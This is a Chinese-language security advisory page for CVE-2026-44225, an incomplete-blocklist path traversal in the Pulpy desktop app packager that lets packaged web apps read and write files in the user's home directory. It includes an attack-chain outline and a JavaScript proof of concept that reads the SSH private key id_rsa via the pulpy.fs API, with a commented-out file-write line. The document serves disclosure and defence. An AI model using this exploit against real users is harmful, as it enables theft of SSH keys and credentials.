IPBUF安全漏洞报告
English
CVE-2026-44225 CVSS 9.3 严重

CVE-2026-44225 Pulpy路径校验绕过致文件读写漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44225
漏洞类型
路径遍历
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Pulpy

相关标签

路径遍历沙箱逃逸Pulpy文件泄露权限绕过

漏洞概述

Pulpy是一个轻量级的跨平台桌面应用程序打包工具,用于将Web应用打包为桌面应用。在0.1.1版本之前,Pulpy向所有打包的Web应用程序中注入了一个名为pulpy.fs的JavaScript API,赋予其访问主机文件系统的能力。虽然系统通过validateFsPath()函数试图对文件访问进行沙箱限制,但该函数使用的黑名单机制并不完整。因此,任何使用Pulpy打包的Web应用程序都可以绕过这一限制,读取和写入用户主目录中的任意文件,例如SSH密钥和AWS凭证。该漏洞在0.1.1版本中已得到修复。

技术细节

该漏洞的核心机制在于Pulpy注入的pulpy.fs JavaScript API缺乏足够安全的路径验证逻辑。Pulpy试图通过validateFsPath()函数实现沙箱隔离,利用黑名单策略阻止Web应用访问系统敏感目录。然而,由于黑名单列表不完整,攻击者可以构造包含路径遍历序列(如../)的特殊路径,从而绕过validateFsPath()的检查。当用户运行被恶意修改并打包的Web应用时,攻击者即可利用此漏洞,无需认证即可读取用户主目录下的敏感配置文件,或写入恶意文件。由于CVSS向量显示范围改变(S:C),该漏洞可能对主机上的其他资源造成连锁影响。

攻击链分析

STEP 1
1. 恶意应用制作
攻击者编写包含恶意JavaScript代码的Web应用,代码中包含利用pulpy.fs API读取或写入文件的逻辑。
STEP 2
2. 应用打包
攻击者使用存在漏洞的Pulpy版本(< 0.1.1)将该Web应用打包成桌面可执行程序。
STEP 3
3. 诱导执行
攻击者诱导受害者下载并运行该打包后的恶意桌面应用程序。
STEP 4
4. 绕过验证
受害者启动应用后,恶意JS代码运行,利用validateFsPath()黑名单不完整的缺陷,构造特殊路径绕过沙箱限制。
STEP 5
5. 数据窃取或破坏
成功读取受害者主目录下的敏感文件(如id_rsa, credentials)或在系统中写入恶意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-44225: Pulpy validateFsPath() Bypass // This script demonstrates reading a sensitive file from the user's home directory function exploitPulpyFs() { console.log("Attempting to bypass validateFsPath()..."); try { // Construct a path to a sensitive file using path traversal // The incomplete blocklist fails to sanitize this sequence const targetFile = "/../.ssh/id_rsa"; // Utilize the vulnerable pulpy.fs API injected into the context if (typeof pulpy !== 'undefined' && pulpy.fs) { const sensitiveData = pulpy.fs.readFile(targetFile); console.log("[+] Exploit Successful!"); console.log("[+] File Content:"); console.log(sensitiveData); // Potential arbitrary write example // pulpy.fs.writeFile("/../.malicious_config", "pwned"); } else { console.log("[-] pulpy.fs API not found."); } } catch (error) { console.error("[-] Error during exploit execution:", error); } } // Trigger the exploit exploitPulpyFs();

影响范围

Pulpy < 0.1.1

防御指南

临时缓解措施
如果无法立即升级,建议停止使用受影响版本的Pulpy打包新应用,并提醒用户不要运行来源不明的Pulpy打包应用。对于已部署的应用,应检查是否存在异常的文件读写行为。

参考链接